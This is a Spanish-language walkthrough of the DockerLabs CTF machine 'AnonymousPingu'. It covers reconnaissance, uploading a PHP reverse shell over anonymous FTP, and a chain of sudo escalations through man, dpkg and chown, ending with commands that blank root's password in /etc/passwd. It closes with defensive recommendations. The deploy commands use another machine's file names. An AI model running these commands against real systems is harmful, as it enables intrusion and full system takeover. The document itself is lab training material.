AnonymousPingu
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina AnonymousPingu, desarrollada por El Pingüino de Mario y clasificada como fácil en la plataforma DockerLabs. El objetivo es exponer un análisis claro y técnicamente fundamentado que muestre:
- Cómo se identificaron los vectores de ataque.
- Qué vulnerabilidades reales se explotaron.
- Qué mecanismos de escalada de privilegios eran posibles.
- Cómo prevenir estos fallos en un entorno productivo.
La metodología aplicada se divide en tres fases principales:
- Reconocimiento: Análisis de servicios expuestos y descubrimiento de posibles puntos débiles.
- Explotación: Abuso de un FTP anónimo mal configurado para cargar archivos maliciosos.
- Escalada de privilegios: Uso de binarios con privilegios
sudopara pivotar entre usuarios hasta obtener acceso root.
Todo el proceso se realizó exclusivamente dentro del entorno aislado de DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | AnonymousPingu |
| Autor | El Pingüino de Mario |
| Dificultad | Fácil |
| Fecha de creación | 29/04/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir la máquina:
unzip Escolares.zipIniciar el contenedor:
sudo bash auto_deploy.sh Escolares.tarEl script muestra la IP asignada, utilizada durante todo el proceso.

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del workspace
Sección titulada «1.1 Organización del workspace»mkdir -p Escolares/{content,exploits,nmap,gobuster,scripts}cd EscolaresUna estructura organizada permite documentar correctamente cada paso y reproducir la metodología.
1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos detectados:
- 21/tcp – FTP
- 80/tcp – Servidor web

La presencia de FTP abierto sugiere revisar autenticación anónima y permisos.
1.3 Enumeración web
Sección titulada «1.3 Enumeración web»gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200
Rutas relevantes:
-
/index.php– Página principal
-
/upload– Carpeta pública con permisos de lectura ⚠️ Esto sugiere riesgo si FTP y el servidor web comparten directorio.
1.4 Enumeración FTP
Sección titulada «1.4 Enumeración FTP»Escaneo específico:
nmap -p21 -sCV 172.17.0.2
El resultado muestra:
- FTP con acceso anónimo habilitado
- Capacidad de listar y subir archivos
- Directorio compartido con
/uploaddel servidor web
Este es un fallo crítico: permite ejecutar código remoto si el servidor web interpreta archivos .php.
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»2.1 Subida de Reverse Shell
Sección titulada «2.1 Subida de Reverse Shell»Primero creamos un archivo malicioso:
revShell.phpLuego accedemos al FTP:
ftp 172.17.0.2Dentro del servicio, navegamos a /upload y subimos el archivo:
put revShell.php
Antes de ejecutarlo, preparamos el listener:
nc -nlvp 443Finalmente, accedemos desde el navegador:
http://172.17.0.2/upload/revShell.php¡Reversa recibida!

Paso 3 — Escalada de Privilegios
Sección titulada «Paso 3 — Escalada de Privilegios»3.1 De www-data → pingu (abuso de man)
Sección titulada «3.1 De www-data → pingu (abuso de man)»Comprobamos permisos sudo:

El usuario www-data puede ejecutar man como pingu sin contraseña.
Esto permite escapar a shell:
sudo -u pingu man man!/bin/bashAcceso obtenido:

3.2 De pingu → gladys (abuso de dpkg)
Sección titulada «3.2 De pingu → gladys (abuso de dpkg)»Nuevamente:

Podemos ejecutar dpkg como gladys.
Dentro de dpkg:
sudo dpkg -l!/bin/bashAcceso obtenido:

3.3 De gladys → root (abuso de chown)
Sección titulada «3.3 De gladys → root (abuso de chown)»Permisos sudo del usuario gladys:

chown puede ejecutarse como root sin contraseña.
Esto permite manipular /etc/passwd y asignar una contraseña vacía a root.
Pasos:
sudo /usr/bin/chown $(id -un):$(id -gn) /etc/passwd
sed 's/^root:[^:]*:/root::/' /etc/passwd > /tmp/passwd.tmp
cp /tmp/passwd.tmp /etc/passwdLuego:
su rootAcceso root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- FTP anónimo habilitado ✅
- Directorio web y FTP compartiendo ubicación ✅
- Subida de archivos sin restricciones ✅
- Falta de sanitización y bloqueo de ejecución PHP ✅
- Múltiples binarios con permisos sudo sin contraseña (man, dpkg, chown) ✅
- Escaladas de privilegios encadenadas por mala configuración ✅
Recomendaciones
Sección titulada «Recomendaciones»- Deshabilitar FTP anónimo.
- Separar los directorios del servidor web y FTP.
- Bloquear la ejecución de
.phpen directorios de subida. - Revisar y limitar binarios permitidos en
sudoers. - Usar autenticación robusta y rotación de usuarios.
- Implementar principios de mínimo privilegio.
- Aplicar hardening al sistema y monitoreo de integridad.